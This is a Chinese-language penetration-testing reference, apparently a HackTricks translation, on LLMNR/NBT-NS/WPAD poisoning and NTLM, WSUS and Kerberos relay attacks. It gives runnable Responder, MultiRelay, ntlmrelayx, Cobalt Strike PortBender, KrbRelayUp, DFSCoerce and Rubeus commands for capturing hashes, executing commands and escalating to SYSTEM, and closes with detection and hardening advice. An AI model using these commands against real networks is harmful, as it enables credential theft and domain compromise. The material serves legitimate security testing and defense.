Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 19 minutes

网络协议

本地主机解析协议

• LLMNR, NBT-NS, and mDNS:
• Microsoft 和其他操作系统在 DNS 失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。类似地，Apple 和 Linux 系统使用 mDNS。
• 由于这些协议基于 UDP 的未经认证的广播特性，它们容易被拦截和伪造。
• Responder 可以通过向请求这些协议的主机发送伪造响应来模拟服务。
• 关于使用 Responder 进行服务模拟的更多信息可在 here 找到。

Web Proxy Auto-Discovery Protocol (WPAD)

• WPAD 允许浏览器自动发现代理设置。
• 发现过程通过 DHCP、DNS 实现，如果 DNS 失败则回退到 LLMNR 和 NBT-NS。
• Responder 可以自动化 WPAD 攻击，将客户端指向恶意的 WPAD 服务器。

使用 Responder 进行协议投毒

• Responder 是一个用于投毒 LLMNR、NBT-NS 和 mDNS 查询的工具，根据查询类型有选择地响应，主要针对 SMB 服务。
• 它在 Kali Linux 中预装，可通过 /etc/responder/Responder.conf 配置。
• Responder 会在屏幕上显示捕获到的哈希，并将其保存到 /usr/share/responder/logs 目录。
• 支持 IPv4 和 IPv6。
• Responder 的 Windows 版本可在 here 获取。

运行 Responder

• 使用默认设置运行 Responder: responder -I <Interface>
• 对于更积极的探测（可能有副作用）: responder -I <Interface> -P -r -v
• 捕获 NTLMv1 挑战/响应以便更容易破解的技术: responder -I <Interface> --lm --disable-ess
• 可通过以下命令启用 WPAD 模拟: responder -I <Interface> --wpad
• 可以将 NetBIOS 请求解析到攻击者的 IP，并设置认证代理: responder.py -I <interface> -Pv

使用 Responder 进行 DHCP 投毒

• 伪造 DHCP 响应可以永久污染受害者的路由信息，相较于 ARP 投毒，这是一种更隐蔽的替代方法。
• 这需要对目标网络配置有精确的了解。
• 运行攻击: ./Responder.py -I eth0 -Pdv
• 该方法可以有效捕获 NTLMv1/2 哈希，但需要小心操作以避免网络中断。

使用 Responder 捕获凭据

• Responder 会使用上述协议模拟服务，当用户尝试针对被伪造的服务进行身份验证时捕获凭据（通常为 NTLMv2 挑战/响应）。
• 可以尝试降级到 NetNTLMv1 或禁用 ESS 以便更容易破解凭据。

重要提示：使用这些技术必须在合法且合乎道德的前提下进行，确保获得适当授权，并避免造成干扰或未经授权的访问。

Inveigh

Inveigh 是为渗透测试人员和红队成员设计的工具，针对 Windows 系统。它提供与 Responder 类似的功能，执行伪造和中间人攻击。该工具已经从 PowerShell 脚本演变为 C# 二进制版本，主要版本包括 Inveigh 和 InveighZero。详细参数和使用说明可在 wiki 中找到。

Inveigh 可以通过 PowerShell 运行：

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

或者作为 C# 二进制执行：

Inveigh.exe

NTLM Relay Attack

该攻击利用 SMB 身份验证会话访问目标机器，若成功可授予 system shell。主要先决条件包括：

• 认证用户必须在被中继的主机上具有 Local Admin access。
• SMB signing 应被禁用。

445 Port Forwarding and Tunneling

在无法直接引入到目标网络的情形下，需要对 445 端口的流量进行转发和隧道化。像 PortBender 这样的工具有助于将 445 端口流量重定向到另一个端口，这在可以通过 Local Admin access 进行 driver loading 时至关重要。

在 Cobalt Strike 中设置并操作 PortBender：

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

用于 NTLM Relay Attack 的其他工具

• Metasploit: 与 proxies 以及本地和远程主机详细信息一起配置。
• smbrelayx: 一个用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
• MultiRelay: 来自 Responder suite 的一个工具，用于中继特定用户或所有用户、执行命令或转储哈希。

每个工具都可以在必要时配置为通过 SOCKS proxy 操作，使得即使在网络访问间接的情况下也能发动攻击。

MultiRelay 操作

MultiRelay 在 /usr/share/responder/tools 目录下执行，针对特定 IP 或用户。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

这些工具和技术构成了一套在各种网络环境中实施 NTLM Relay 攻击的全面手段。

滥用 WSUS HTTP (8530) 实施 NTLM Relay 到 LDAP/SMB/AD CS (ESC8)

WSUS 客户端使用 NTLM 通过 HTTP (8530) 或 HTTPS (8531) 对其更新服务器进行认证。当启用 HTTP 时，本地段上的周期性客户端检查可以被强制或拦截，并使用 ntlmrelayx 中继到 LDAP/LDAPS/SMB 或 AD CS HTTP 端点 (ESC8)，无需破解任何哈希。这会混入正常的更新流量，并且经常产生机器账户认证 (HOST$)。

要注意的点

• GPO/registry 配置位于 HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate 和 ...\WindowsUpdate\AU：
• WUServer (例如： http://wsus.domain.local:8530)
• WUStatusServer (上报 URL)
• UseWUServer (1 = 使用 WSUS；0 = 使用 Microsoft Update)
• DetectionFrequencyEnabled 和 DetectionFrequency (小时)
• 客户端通过 HTTP 使用的 WSUS SOAP 端点：
• /ClientWebService/client.asmx (approvals)
• /ReportingWebService/reportingwebservice.asmx (status)
• 默认端口：8530/tcp HTTP、8531/tcp HTTPS

侦察

• Unauthenticated
• 扫描监听：nmap -sSVC -Pn --open -p 8530,8531 -iL
• 通过 L2 MITM 抓取 HTTP WSUS 流量，并使用 wsusniff.py 记录活动客户端/端点（仅 HTTP，除非你能让客户端信任你的 TLS 证书）。
• Authenticated
• 使用 MANSPIDER + regpol 解析 SYSVOL GPO 中的 WSUS 键（wsuspider.sh wrapper 汇总 WUServer/WUStatusServer/UseWUServer）。
• 从主机批量查询端点（NetExec）或本地查询： nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

端到端 HTTP 中继步骤

1. 为 MITM 定位（同一 L2），使客户端将 WSUS 服务器解析到你这里（ARP/DNS 欺骗、Bettercap、mitm6 等）。arpspoof 示例： arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

2. 将 8530 端口重定向到你的中继监听器（可选，方便）： iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

3. 使用 HTTP listener 启动 ntlmrelayx（需要 Impacket 对 HTTP listener 的支持；参见下列 PR）： ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

其他常见目标：

• 中继到 SMB（如果签名关闭）以便执行/转储：-t smb://
• 中继到 LDAPS 以进行目录更改（例如 RBCD）：-t ldaps://
• 中继到 AD CS web enrollment (ESC8) 以颁发证书，然后通过 Schannel/PKINIT 进行认证： ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server 有关更深入的 AD CS 滥用路径和工具，请参见 AD CS 页面：

AD CS Domain Escalation

4. 触发客户端检查或等待计划。来自客户端： wuauclt.exe /detectnow 或使用 Windows Update UI（Check for updates）。

5. 使用认证的 SOCKS 会话（如果使用 -socks）或直接使用中继结果进行权限后利用（LDAP 更改、SMB 操作，或为后续认证颁发的 AD CS 证书）。

HTTPS 限制 (8531)

• 对通过 HTTPS 的 WSUS 进行被动拦截在客户端不信任你的证书时无效。没有受信任的证书或其他 TLS 绕过，从 WSUS HTTPS 流量中无法收集/中继 NTLM 握手。

备注

• WSUS 已宣布弃用，但仍被广泛部署；HTTP (8530) 在许多环境中仍然常见。
• 有用的辅助工具：wsusniff.py（观察 HTTP WSUS 检查），wsuspider.sh（从 GPO 枚举 WUServer/WUStatusServer），NetExec reg-query（批量查询）。
• Impacket 在 PR #2034 中恢复了 ntlmrelayx 的 HTTP listener 支持（最初在 PR #913 中添加）。

强制 NTLM 登录

在 Windows 中，你可能能够强制一些特权账户对任意主机进行认证。阅读以下页面以了解方法：

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack 窃取一个 AP-REQ ticket，并将其在对第二个服务上重用，前提是两者共享相同的 computer-account key（因为两个 SPN 都在相同的 $ 机器账户上）。即使 SPN 的 service class 不同（例如 CIFS/ → LDAP/），这也可以工作，因为解密票据的“key”是机器的 NT 哈希，而不是 SPN 字符串本身，并且 SPN 字符串不是签名的一部分。

与 NTLM relay 不同，中继的跳数被限制在同一主机，但如果你针对允许写入 LDAP 的协议，你可以链接到 Resource-Based Constrained Delegation (RBCD) 或 AD CS enrollment，并在一次操作中获得 NT AUTHORITY\SYSTEM。

有关该攻击的详细信息，请参见：

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Kerberos basics

• 票据使用拥有 SPN 的账户的 基于密码派生的密钥 加密。
• AP-REQ 内的 Authenticator 含有 5 分钟的时间戳；在该窗口内重放有效，直到服务缓存检测到重复为止。
• Windows 很少检查票据中的 SPN 字符串是否与所访问的服务匹配，因此针对 CIFS/HOST 的票据通常可以在 LDAP/HOST 上成功解密。

• 2. 要能够中继 Kerberos 必须满足的条件

1. Shared key： 源和目标 SPN 属于同一台计算机账户（在 Windows 服务器上为默认行为）。
2. No channel protection： SMB/LDAP 签名关闭，并且 HTTP/LDAPS 的 EPA 关闭。
3. 你能拦截或强制认证： LLMNR/NBNS 欺骗、DNS 欺骗、PetitPotam / DFSCoerce RPC、伪造 AuthIP、恶意 DCOM 等。
4. 票据来源未被使用： 你必须在真实数据包到达前赢得竞赛或完全阻断它；否则服务器的重放缓存会触发 Event 4649。
5. 你需要以某种方式对通信执行 MitM，例如成为 DNSAdmins 组以修改域 DNS，或能够更改受害者的 HOST 文件。

Kerberos Relay Steps

• 3.1 Recon the host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 启动中继监听器

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp 将 KrbRelay → LDAP → RBCD → Rubeus → SCM bypass 封装在一个二进制文件中。

• 3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce 使 DC 向我们发送一个 Kerberos CIFS/DC01 ticket。

• 3.4 Relay the AP-REQ

KrbRelay 从 SMB 中提取 GSS blob，将其重新打包为 LDAP bind，并转发到 ldap://DC01—身份验证成功，因为 相同的密钥 可以解密它。

• 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

你现在拥有 NT AUTHORITY\SYSTEM。

更多值得了解的路径

故障排查

检测

• 在短时间内来自同一来源的对 CIFS/、HTTP/、LDAP/ 的 Event 4769 激增。
• 服务上的 Event 4649 表示检测到重放。
• 来自 127.0.0.1 的 Kerberos 登录（中继到本地 SCM）高度可疑——可通过 KrbRelayUp 文档中的 Sigma 规则进行映射。
• 监控 msDS-AllowedToActOnBehalfOfOtherIdentity 或 msDS-KeyCredentialLink 属性的更改。

加固

1. 在每台服务器上强制启用 LDAP & SMB 签名 + EPA。
2. 拆分 SPNs，使 HTTP 不与 CIFS/LDAP 使用同一账户。
3. 修补强制协商向量（PetitPotam KB5005413、DFS、AuthIP）。
4. 将 ms-DS-MachineAccountQuota = 0 设置为防止恶意计算机加入。
5. 针对 Event 4649 和异常的回环 Kerberos 登录设置告警。

References

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
• WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
• GoSecure – Abusing WSUS to enable NTLM relaying attacks
• Impacket PR #2034 – Restore HTTP server in ntlmrelayx
• Impacket PR #913 – HTTP relay support
• WSUScripts – wsusniff.py
• WSUScripts – wsuspider.sh
• MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
• Microsoft – WSUS deprecation announcement